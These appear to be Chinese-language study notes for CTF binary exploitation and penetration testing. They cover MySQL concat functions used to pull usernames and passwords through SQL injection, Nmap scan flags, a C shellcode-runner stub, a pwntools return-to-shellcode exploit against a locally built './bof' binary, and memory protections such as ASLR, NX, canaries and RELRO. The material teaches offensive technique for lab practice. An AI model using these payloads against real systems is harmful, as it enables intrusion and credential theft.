mysql链接字符串函数
- concat(str1,str2)
- concat_ws(separator,str1,str2….)
- group_concat(str1,str2….)
- mysql的concat函数可以连接一个或者多个字符串
- concat(username,0x23,password,0x23…..)
- concat_ws()函数,表示concat with separator,即有分隔符的字符串连接
- group_concat()函数,把每一行数据分到一个组里显示出来
https://www.shodan.io/ 搜索引擎 撒旦
Maltego工具
开源的漏洞评估工具、
Nmap工具 免费的开放的网络扫描和嗅探工具包
可以探测存活主机,扫描主机端口,探测主机操作系统 nmap[扫描类型][参数] 目标ip
扫描类型
-sT TCP连接扫描,需要建立三次握手,会在目标主机中记录大量的连接请求和错误信息。
-sS SYN扫描,不建立三次握手,很少有系统记入日志,默认使用,需要用root(admin)权限。 -sP ping扫描,默认使用,只有能ping得通才会继续扫描
-P0 扫描之前不需要Ping,用于绕过防火墙禁ping功能,
-sA 用来穿过防火墙的规则集合(ACK置位),扫描端口时效果不好。
-sV 探测服务版本信息(服务指纹)
-sU UDP扫描,扫描主机开启的UDP服务,速度慢,结果不可靠
Nessus漏洞扫描工具
Nessus是全世界最多人使用的系统漏洞扫描与分析软件。总共有超过75000个机构在使用
该工具提供完整的电脑漏洞扫描服务,并随时更新其漏洞数据库
Vega工具是一款免费的开源扫描仪和测试平台,用于测试web应用程序的安全性,可查找SQL注入,跨站脚本(XSS)。泄漏的敏感信息及其它漏洞。
- Ubuntu 16.04 64bit
- sudo apt-get install binutils nasm nmap gcc
- https://github.com/scwuaptx/AIS3-2017/blob/master/env_setup.sh
sudo echo”set disassembly-flavor intel”>~/.gdbinit
pwn简介
入门- pwn题目入门偏难
- 前置知识多:c/assembly/linux/operating system
- 不知从何入手:binary运行没结果
- 参考资料难度参差不齐:大佬博客看不懂,书本知识太枯燥
- CTF是真实漏洞的抽象
PWN题目信息
二进制漏洞根源 RAM内存 寄存器属于CPU的变量、数据和指令要分开。
pwn主要利用漏洞达成攻击者的目的。主要取得程序的控制权。- binary拿到后不会得到源码source code
- 程序的源代码不容易获取,所以需要逆向分析
- 静态分析
- 动态分析
PWN的常用工具
IDA里看一看
gdb走呀走
pwntools结束战斗
gdb-peda checksec 查看开启的服务
* elfsymbol查看调用的函数plt地址
vmmap查看内存映射
find 查找字符串
工具Pwntools
基于python的Exploit编写库- 文件格式
Linux 下为ELF
.bss 存放未初始化的全局变量
.data存放已经初始化的全局变量
.text存放程序执行代码
.rodata存放只读数据Windows下为PE
汇编语言中的
- 系统调用
- https://w3challs.com/syscalls/?arch=x86_64
- 本地位于/usr/include/asm/unistd_64.h
shellcode
- shellcode:将要在受害软件上执行的恶意代码
- 作用
- 启动shell
接受shellcode的c语言代码
#include <stdio.h>
void main(){
char *shellcode;
read(0,shellcode,1000);
void (*fptr)()=shellcode;
fptr();
}
缓冲区溢出
- Buffer Overflow
- 程序中没有对输入长度做限制,导致攻击者可以输入过长的字符串,覆盖内存中的其他数据,进而控制程序执行流程。
- stack
- stack smashing
- heap
- ### Return to shellcode
- Return to shellcode
- 测试偏移覆盖返回地址
- pwntools cyclic
- gdb-peda
- pattern create 100 shellcode
- pattern offset
编译选项Test4:bof
- 编译选项
gcc -fno-stack-protector -z execstack bof.c -o bof
from pwn import *
context.arch="amd64"
buf2_addr=0x601080
payload = "A"*40+p64(buf2_addr)
shcode = asm(shellcraft.sh())
#p = remote("127.0.0.1",6666)
p = process("./bof")
p.recvuntil(": ")
p.sendline(payload)
p.recvuntil(": ")
#shcode2 = open("code").read()
p.sendline(shcode)
p.interactive()
Proyection
- ASLR
- 地址空间随机化
- 堆,栈,共享库每次运行的位置都要随机变化
- 查看是否开启 cat/proc/sys/kernel/randomize_va_space
- ldd查看地址
- DEP
- (数据执行保护)又称为NX
- GCC编译默认开启 使用-z execstack 取消NX保护
- PIE
- 位置独立的可执行区域(position-independent executables)
- gcc默认不开启,-fPIC -pie开启
- data和code段跟着随机化,ret2shellcode没有固定位置可以利用
- StackGuard
- 又名canary,矿工曾利用金丝雀来确认是否有气体泄漏,金丝雀因为气体泄漏而中毒可以给矿工预警。
- 随机生成在函数调用前将canary放入栈中,发现改变立即终止
- 阻挡了stack overflow的攻击
- gcc默认开启 -fno-stack-protector关闭
- cannry的值存储在tls区段中的tcbhead_t结构中
RELRO
- gcc -Wl,-z,relro,-z,now 开启full
- disabled .got.plt /.got都可写
- Partial(default) .got可写
- Full 加载程序前解析全部函数 got表不可写
got(全局偏移量表)
- 在got表中存放着函数真正的位置
-PLT(过程连接表 ) - CALL 400560
- 在got表中存放着函数真正的位置
测试流程
- 先泄漏libc中某函数的地址
- 使用puts,printf等函数将GOT表中的函数地址打印出来
- x86-64位上使用寄存器传递参数rdi rsi rdx rcx
- pop rdi;ret